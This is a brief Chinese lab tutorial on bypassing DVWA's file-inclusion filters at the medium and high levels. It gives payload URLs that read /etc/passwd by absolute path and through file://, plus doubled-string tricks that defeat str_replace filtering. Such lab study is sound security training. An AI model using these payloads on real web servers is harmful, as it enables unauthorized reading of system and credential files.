DVWA文件包含漏洞-（中、高绕过）

---

一、DVWA SecurityMedium級別

设置好难度后，查看源码：
通过对代码分析可以发现这里过滤了一些东西，即是array里面的因此我们需要进行绕过

绕过方法

1. 使用绝对路径或相对路径进行绕过，在这里与低级别中路径一致

http://localhost/DVWA-master/vulnerabilities/fi/?page=/etc/passwd

2. 使用的是 str_replace() 函数，可以使用重写的方式绕过或者是掺入大小写进行绕过

 1. htthttp://p://
 2. http://..././
 3. ../

二、High Security Level

查看源码：

可以看出，报错的条件：

1. 传出的page中没有file*
2. $file不等于Include.php

绕过方法：

1. 可以使用伪协议进行绕过:file://

http://localhost/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd